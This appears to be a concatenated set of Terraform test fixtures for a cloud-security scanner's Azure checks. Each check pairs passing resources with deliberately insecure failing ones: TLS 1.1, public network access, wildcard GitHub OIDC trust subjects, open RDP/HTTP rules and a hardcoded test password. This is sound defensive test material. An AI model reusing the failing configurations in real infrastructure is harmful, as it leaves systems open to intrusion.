azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key } resource "azurerm_function_app_slot" "fail2" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key site_config { http2_enabled = false } } resource "azurerm_function_app_slot" "pass" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key site_config { http2_enabled = true } } ================================================ FILE: tests/terraform/checks/resource/azure/example_FunctionAppMinTLSVersion/main.tf ================================================ resource "azurerm_function_app" "fail" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" min_tls_version = 1.1 ftps_state = "AllAllowed" http2_enabled = false cors { allowed_origins = ["*"] } } } resource "azurerm_function_app_slot" "fail2" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key site_config { min_tls_version = 1.1 } } resource "azurerm_linux_function_app" "fail3" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location service_plan_id = azurerm_service_plan.example.id storage_account_name = azurerm_storage_account.example.name site_config { minimum_tls_version = 1.1 } } resource "azurerm_windows_function_app" "fail4" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config { minimum_tls_version = 1.1 } } resource "azurerm_linux_function_app_slot" "fail5" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { minimum_tls_version = 1.1 } } resource "azurerm_windows_function_app_slot" "fail6" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { minimum_tls_version = 1.1 } } resource "azurerm_function_app" "pass" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" ftps_state = "AllAllowed" http2_enabled = false cors { allowed_origins = ["*"] } } } resource "azurerm_function_app" "pass2" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" min_tls_version = 1.3 ftps_state = "AllAllowed" http2_enabled = false cors { allowed_origins = ["*"] } } } resource "azurerm_function_app" "pass3" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" min_tls_version = "1.2" ftps_state = "AllAllowed" http2_enabled = false cors { allowed_origins = ["*"] } } } resource "azurerm_function_app_slot" "pass4" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key } resource "azurerm_linux_function_app" "pass5" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location service_plan_id = azurerm_service_plan.example.id storage_account_name = azurerm_storage_account.example.name site_config { minimum_tls_version = 1.2 } } resource "azurerm_windows_function_app" "pass6" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config { minimum_tls_version = 1.2 } } resource "azurerm_linux_function_app_slot" "pass7" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { minimum_tls_version = 1.3 } } resource "azurerm_windows_function_app_slot" "pass8" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { minimum_tls_version = 1.2 } } resource "azurerm_windows_function_app_slot" "pass9" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_FunctionAppPublicAccessDisabled/main.tf ================================================ # pass resource "azurerm_linux_function_app" "disabled" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = false } resource "azurerm_linux_function_app_slot" "disabled" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name public_network_access_enabled = false } resource "azurerm_windows_function_app" "disabled" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = false } resource "azurerm_windows_function_app_slot" "disabled" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name public_network_access_enabled = false } # fail resource "azurerm_linux_function_app" "default" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id } resource "azurerm_linux_function_app_slot" "default" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name } resource "azurerm_windows_function_app" "default" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id } resource "azurerm_windows_function_app_slot" "default" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name } resource "azurerm_linux_function_app" "enabled" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = true } resource "azurerm_linux_function_app_slot" "enabled" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name public_network_access_enabled = true } resource "azurerm_windows_function_app" "enabled" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = true } resource "azurerm_windows_function_app_slot" "enabled" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name public_network_access_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_GithubActionsOIDCTrustPolicy/main.tf ================================================ # pass1 - Basic valid configuration with federated credential resource "azuread_application_federated_identity_credential" "pass1" { application_object_id = "example-app-id" display_name = "github-actions-oidc" description = "GitHub Actions OIDC" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" subject = "repo:myOrg/myRepo:environment:Production" } # pass2 - Valid configuration with specific branch reference resource "azuread_application_federated_identity_credential" "pass2" { application_object_id = "example-app-id" display_name = "github-actions-oidc" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" subject = "repo:myOrg/myRepo:ref:refs/heads/main" } # pass4 - Valid configuration with org-only repo pattern resource "azuread_application_federated_identity_credential" "pass4" { application_object_id = "example-app-id" display_name = "github-actions-oidc" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" subject = "repo:myOrg/valid-repo:*" } # pass4 - Valid configuration with org-only repo pattern resource "azuread_application_federated_identity_credential" "pass_special_chars" { application_object_id = "example-app-id" display_name = "github-actions-oidc" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" subject = "repo:${var.github_organisation_target}/${github_repository.project.name}:environment:${var.environment}" } # fail1 - Missing subject resource "azuread_application_federated_identity_credential" "fail1" { application_object_id = "example-app-id" display_name = "github-actions-oidc" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" } # fail2 - Invalid claim format resource "azuread_application_federated_identity_credential" "fail2" { application_object_id = "example-app-id" display_name = "github-actions-oidc" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" subject = "invalid" } # fail3 - Wildcard in subject resource "azuread_application_federated_identity_credential" "fail3" { application_object_id = "example-app-id" display_name = "github-actions-oidc" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" subject = "*" } # fail5 - Wildcard assertion in repo pattern resource "azuread_application_federated_identity_credential" "fail5" { application_object_id = "example-app-id" display_name = "github-actions-oidc" audiences = ["api://AzureADTokenExchange"] issuer = "https://token.actions.githubusercontent.com" subject = "repo:*" } ================================================ FILE: tests/terraform/checks/resource/azure/example_KeyVaultDisablesPublicNetworkAccess/main.tf ================================================ resource "azurerm_key_vault" "pass1" { name = "examplepass1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled public_network_access_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "pass2" { name = "examplepass2" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled public_network_access_enabled = false sku_name = "standard" network_acls { default_action = "Allow" bypass = "AzureServices" } access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "pass3" { name = "examplepass3" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled public_network_access_enabled = true sku_name = "standard" network_acls { default_action = "Allow" bypass = "AzureServices" ip_rules = ["127.0.0.1"] } access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "pass4" { name = "examplepass4" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled sku_name = "standard" network_acls { default_action = "Allow" bypass = "AzureServices" ip_rules = ["127.0.0.1"] } access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "pass5" { name = "examplepass5" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled sku_name = "standard" network_acls { default_action = "Allow" bypass = "AzureServices" virtual_network_subnet_ids = ["127.0.0.1/24"] } } resource "azurerm_key_vault" "fail1" { name = "examplefail1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled sku_name = "standard" public_network_access_enabled = true access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "fail2" { name = "examplefail2" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "fail3" { name = "examplefail3" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled sku_name = "standard" network_acls { default_action = "Allow" bypass = "AzureServices" ip_rules = [] } access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "fail4" { name = "examplefail4" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled sku_name = "standard" network_acls { default_action = "Allow" bypass = "AzureServices" } access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } resource "azurerm_key_vault" "fail5" { name = "examplefail5" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 90 purge_protection_enabled = enabled sku_name = "standard" dynamic "network_acls" { for_each = var.nacls_enabled ? [1] : [] content { default_action = "Allow" bypass = "AzureServices" ip_rules = [] virtual_network_subnet_ids = [] } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_KubernetesClusterHTTPApplicationRouting/main.tf ================================================ resource "azurerm_kubernetes_cluster" "fail" { http_application_routing_enabled = true } resource "azurerm_kubernetes_cluster" "pass_false" { http_application_routing_enabled = false } resource "azurerm_kubernetes_cluster" "pass_missing" { name = "example-aks1" } ================================================ FILE: tests/terraform/checks/resource/azure/example_LinuxVMUsesSSH/main.tf ================================================ resource "azurerm_linux_virtual_machine" "pass" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" network_interface_ids = [ azurerm_network_interface.example.id, ] admin_ssh_key { username = "adminuser" public_key = file("~/.ssh/id_rsa.pub") } os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } } resource "azurerm_linux_virtual_machine" "fail" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" network_interface_ids = [ azurerm_network_interface.example.id, ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } } resource "azurerm_linux_virtual_machine_scale_set" "pass" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_username = "adminuser" admin_ssh_key { username = "adminuser" public_key = local.first_public_key } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } resource "azurerm_linux_virtual_machine_scale_set" "fail" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_username = "adminuser" source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_MLCCLADisabled/MLCCLADisabled.tf ================================================ ## SHOULD PASS: Explicitly define parameter local_auth_enabled to false resource "azurerm_machine_learning_compute_cluster" "ckv_unittest_pass" { name = "example" location = "West Europe" vm_priority = "LowPriority" vm_size = "Standard_DS2_v2" machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id local_auth_enabled = false scale_settings { min_node_count = 0 max_node_count = 1 scale_down_nodes_after_idle_duration = "PT30S" # 30 seconds } identity { type = "SystemAssigned" } } ## SHOULD FAIL: Explicitly define parameter local_auth_enabled to true resource "azurerm_machine_learning_compute_cluster" "ckv_unittest_fail" { name = "example" location = "West Europe" vm_priority = "LowPriority" vm_size = "Standard_DS2_v2" machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id local_auth_enabled = true scale_settings { min_node_count = 0 max_node_count = 1 scale_down_nodes_after_idle_duration = "PT30S" # 30 seconds } identity { type = "SystemAssigned" } } ## SHOULD FAIL: Do not explicitly assign value to local_auth_enabled parameter as default value is true resource "azurerm_machine_learning_compute_cluster" "ckv_unittest_fail_2" { name = "example" location = "West Europe" vm_priority = "LowPriority" vm_size = "Standard_DS2_v2" machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id scale_settings { min_node_count = 0 max_node_count = 1 scale_down_nodes_after_idle_duration = "PT30S" # 30 seconds } identity { type = "SystemAssigned" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_MLComputeClusterMinNodes/main.tf ================================================ ## SHOULD PASS: Min nodes set to 0 resource "azurerm_machine_learning_compute_cluster" "ckv_unittest_pass" { name = "example" location = "West Europe" vm_priority = "LowPriority" vm_size = "Standard_DS2_v2" machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id subnet_resource_id = azurerm_subnet.example.id scale_settings { min_node_count = 0 max_node_count = 1 scale_down_nodes_after_idle_duration = "PT30S" # 30 seconds } } ## SHOULD FAIL: Min nodes set to 1 resource "azurerm_machine_learning_compute_cluster" "ckv_unittest_fail" { name = "example" location = "West Europe" vm_priority = "LowPriority" vm_size = "Standard_DS2_v2" machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id subnet_resource_id = azurerm_subnet.example.id scale_settings { min_node_count = 1 max_node_count = 2 scale_down_nodes_after_idle_duration = "PT30S" # 30 seconds } } ================================================ FILE: tests/terraform/checks/resource/azure/example_MLPublicAccess/MLPublicAccess.tf ================================================ ## SHOULD PASS: Explicitly define parameter public_network_access_enabled to false resource "azurerm_machine_learning_workspace" "ckv_unittest_pass" { name = "example-workspace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name application_insights_id = azurerm_application_insights.example.id key_vault_id = azurerm_key_vault.example.id storage_account_id = azurerm_storage_account.example.id public_network_access_enabled = false identity { type = "SystemAssigned" } encryption { key_vault_id = azurerm_key_vault.example.id key_id = azurerm_key_vault_key.example.id } } ## SHOULD FAIL: Explicitly define parameter public_network_access_enabled to true resource "azurerm_machine_learning_workspace" "ckv_unittest_fail" { name = "example-workspace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name application_insights_id = azurerm_application_insights.example.id key_vault_id = azurerm_key_vault.example.id storage_account_id = azurerm_storage_account.example.id public_network_access_enabled = true identity { type = "SystemAssigned" } encryption { key_vault_id = azurerm_key_vault.example.id key_id = azurerm_key_vault_key.example.id } } ## SHOULD FAIL: Parameter public_network_access_enabled defaults to true resource "azurerm_machine_learning_workspace" "ckv_unittest_fail_2" { name = "example-workspace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name application_insights_id = azurerm_application_insights.example.id key_vault_id = azurerm_key_vault.example.id storage_account_id = azurerm_storage_account.example.id identity { type = "SystemAssigned" } encryption { key_vault_id = azurerm_key_vault.example.id key_id = azurerm_key_vault_key.example.id } } ================================================ FILE: tests/terraform/checks/resource/azure/example_MSSQLServerAuditPolicyLogMonitor/main.tf ================================================ resource "azurerm_mssql_database_extended_auditing_policy" "fail" { database_id = azurerm_mssql_database.examplea.id storage_endpoint = azurerm_storage_account.examplea.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.examplea.primary_access_key storage_account_access_key_is_secondary = false retention_in_days = 89 log_monitoring_enabled = false } resource "azurerm_mssql_database_extended_auditing_policy" "fail2" { database_id = azurerm_mssql_database.examplea.id storage_endpoint = azurerm_storage_account.examplea.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.examplea.primary_access_key storage_account_access_key_is_secondary = false retention_in_days = 89 } resource "azurerm_mssql_database_extended_auditing_policy" "pass" { database_id = azurerm_mssql_database.examplea.id storage_endpoint = azurerm_storage_account.examplea.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.examplea.primary_access_key storage_account_access_key_is_secondary = false retention_in_days = 89 log_monitoring_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_MySQLGeoBackupEnabled/main.tf ================================================ resource "azurerm_mysql_server" "fail" { name = var.mysqlserver_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_name administrator_login_password = var.password sku_name = var.sku_name storage_mb = var.storage_mb version = var.server_version auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false infrastructure_encryption_enabled = false public_network_access_enabled = true ssl_enforcement_enabled = false } resource "azurerm_mysql_server" "fail2" { name = var.mysqlserver_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_name administrator_login_password = var.password sku_name = var.sku_name storage_mb = var.storage_mb version = var.server_version auto_grow_enabled = true backup_retention_days = 7 infrastructure_encryption_enabled = false ssl_enforcement_enabled = false } resource "azurerm_mysql_server" "pass" { name = var.mysqlserver_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_name administrator_login_password = var.password sku_name = var.sku_name storage_mb = var.storage_mb version = var.server_version auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = false } resource "azurerm_mysql_flexible_server" "fail" { name = "example-fs" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location administrator_login = "psqladmin" administrator_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret backup_retention_days = 7 delegated_subnet_id = azurerm_subnet.example.id private_dns_zone_id = azurerm_private_dns_zone.example.id sku_name = "GP_Standard_D2ds_v4" } resource "azurerm_mysql_flexible_server" "fail2" { name = "example-fs" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location administrator_login = "psqladmin" administrator_password = "H@Sh1CoR3!" backup_retention_days = 7 delegated_subnet_id = azurerm_subnet.example.id private_dns_zone_id = azurerm_private_dns_zone.example.id sku_name = "GP_Standard_D2ds_v4" geo_redundant_backup_enabled = false } resource "azurerm_mysql_flexible_server" "pass" { name = "example-fs" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location administrator_login = "psqladmin" administrator_password = "H@Sh1CoR3!" backup_retention_days = 7 delegated_subnet_id = azurerm_subnet.example.id private_dns_zone_id = azurerm_private_dns_zone.example.id sku_name = "GP_Standard_D2ds_v4" geo_redundant_backup_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/dynamic_block_map_example/dynamic.tf ================================================ data "azurerm_resource_group" "abc-azr-lab" { name = "abc-azr-lab" } resource "azurerm_network_security_group" "dynamic_nsg_fail" { name = var.nsg_name_fail location = data.azurerm_resource_group.abc-azr-lab.location resource_group_name = data.azurerm_resource_group.abc-azr-lab.name dynamic "security_rule" { for_each = var.fail_nsg_rules content { name = security_rule.value["name"] priority = security_rule.value["priority"] direction = security_rule.value["direction"] access = security_rule.value["access"] protocol = security_rule.value["protocol"] source_port_range = security_rule.value["source_port_range"] destination_port_range = security_rule.value["destination_port_range"] source_address_prefix = security_rule.value["source_address_prefix"] destination_address_prefix = security_rule.value["destination_address_prefix"] } } } resource "azurerm_network_security_group" "dynamic_nsg_pass" { name = var.nsg_name_pass location = data.azurerm_resource_group.abc-azr-lab.location resource_group_name = data.azurerm_resource_group.abc-azr-lab.name dynamic "security_rule" { for_each = var.pass_nsg_rules content { name = security_rule.value["name"] priority = security_rule.value["priority"] direction = security_rule.value["direction"] access = security_rule.value["access"] protocol = security_rule.value["protocol"] source_port_range = security_rule.value["source_port_range"] destination_port_range = security_rule.value["destination_port_range"] source_address_prefix = security_rule.value["source_address_prefix"] destination_address_prefix = security_rule.value["destination_address_prefix"] } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/dynamic_block_map_example/terraform.tfvars ================================================ subnet_list = [ { name = "dynamic_subnet1" address_prefix = "10.100.1.0/24" security_group = "azurerm_network_security_group.dynamic_nsg_pass.id" }, { name = "dynamic_subnet2" address_prefix = "10.100.2.0/24" security_group = "azurerm_network_security_group.dynamic_nsg_pass.id" }, { name = "dynamic_subnet3" address_prefix = "10.100.3.0/24" security_group = "azurerm_network_security_group.dynamic_nsg_pass.id" } ] fail_nsg_rules = [ { name = "AllowHttpIn" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "80" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowHttpsIn" priority = 110 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "443" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowRdpIn" priority = 120 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "3389" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowIcmpIn" priority = 130 direction = "Inbound" access = "Allow" protocol = "Icmp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } ] pass_nsg_rules = [ { name = "DenyHttpIn" priority = 100 direction = "Inbound" access = "Deny" protocol = "Tcp" source_port_range = "*" destination_port_range = "80" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowHttpsIn" priority = 110 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "443" source_address_prefix = "35.181.123.80/32" destination_address_prefix = "*" }, { name = "DenyRdpIn" priority = 120 direction = "Inbound" access = "Deny" protocol = "Tcp" source_port_range = "*" destination_port_range = "3389" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "DenyIcmpIn" priority = 130 direction = "Inbound" access = "Deny" protocol = "Icmp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } ] ================================================ FILE: tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/dynamic_block_map_example/variables.tf ================================================ variable "rg_name" { type = string default = "abc-azr-lab" } variable "rg_location" { type = string default = "East US" } variable "vnet_name" { type = string default = "dynamic_vnet" } variable "nsg_name_fail" { type = string default = "dynamic_nsg_fail" } variable "nsg_name_pass" { type = string default = "dynamic_nsg_pass" } variable "tags" { type = list(string) default = ["testing", "dynamic_block"] } variable "address_space" { type = list(string) default = ["10.100.0.0/16"] } variable "subnet_list" { type = list(object({ name = string address_prefix = string security_group = string })) description = "Values for each subnet" } variable "fail_nsg_rules" { type = list(object({ name = string priority = number direction = string access = string protocol = string source_port_range = string destination_port_range = string source_address_prefix = string destination_address_prefix = string })) description = "Values for each NSG rule" } variable "pass_nsg_rules" { type = list(object({ name = string priority = number direction = string access = string protocol = string source_port_range = string destination_port_range = string source_address_prefix = string destination_address_prefix = string })) description = "Values for each NSG rule" } ================================================ FILE: tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/main.tf ================================================ # pass resource "azurerm_network_security_rule" "https" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 443 source_address_prefix = "Internet" } resource "azurerm_network_security_rule" "http_restricted_prefixes" { name = "example" access = "Allow" direction = "Inbound" network_security_group_name = "azurerm_network_security_group.example.name" priority = 100 protocol = "Tcp" resource_group_name = "azurerm_resource_group.example.name" destination_port_range = 80 source_address_prefixes = [ "123.123.123.123/32", "10.0.0.0/16" ] } resource 